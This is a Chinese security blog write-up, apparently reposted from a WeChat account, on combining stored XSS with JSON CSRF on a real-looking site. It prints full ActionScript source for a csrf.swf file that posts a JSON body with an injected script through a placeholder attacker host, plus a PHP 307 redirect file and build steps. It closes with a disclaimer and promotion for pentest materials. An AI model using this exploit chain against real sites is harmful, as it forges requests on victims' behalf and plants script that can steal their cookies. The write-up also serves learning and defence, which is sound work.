Author:d4m1ts
起因
-
前面信息收集什么的就不多说了,和本文内容也没多大关系,就直接讲重点吧 -
因为自己浏览器的问题,验证码加载不出来,所以后面都是用同学的账号做的测试,高强度打码
发现存储型XSS漏洞
|
分界线
CSRF 漏洞
生成 csrf.swf 文件
-
从Adobe官网安装Flex SDK用于将ActionScript编译为swf文件。Flex需要安装32位JVM,可以从Oracle官网下载安装32位的JDK。(这里只能用32位的,64位的不行) -
创建一个名为csrf.as的文本文件,写入以下ActionScript代码。 -
将<attacker-ip>占位符替换为攻击者服务器的ip或者域名(307跳转页面的地址) -
将此文件编译为csrf.swf,只需运行mxmlc csrf.as命令。这将创建一个名为csrf.swf的文件。
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = {
"gender":"2",
"homeCity":"4170",
"nowCity":"4170",
"profession":"23",
"description":"</textarea><script>alert(document.cookie)</script><textarea>",
"signature":""
};
var myData:Object = member1;
myJson = JSON.stringify(myData);
myJson = JSON.stringify(myData);
var url:String = "http://<attacker-ip>/307.php";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
重定向php文件
// redirect automatically
header("Location: https://xxxx.cn/xxxx/xxxxx", true, 307);
?>
利用过程
总结
-
有框的地方就可能存在XSS -
一定要细心,不仅仅在网站审查上要细心 -
CSRF + JSON 网上也有很多,不过都不是以实战来讲的 -
网上有些 CSRF + JSON 的利用有坑(这也是为什么我之前花了一整天都没成功)
参考
-
在JSON端点上利用CSRF漏洞的实践教程
-
Exploiting JSON CSRF
-
Exploiting JSON Cross Site Request Forgery (CSRF) using Flash
1. PHP代码审计指南
最近收集多份渗透学习资料,包括代码审计指南、Android渗透测试方法大全、密码字典、勒索病毒防护手册等等。 获取方式:点 在看 ,关注公众号并回复 1024 领取,更多内容陆续奉上。 文章有帮助的话,在看,转发吧。谢谢支持哟 本文始发于微信公众号(乌雲安全):一次XSS和CSRF的组合拳进攻 (CSRF+JSON)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论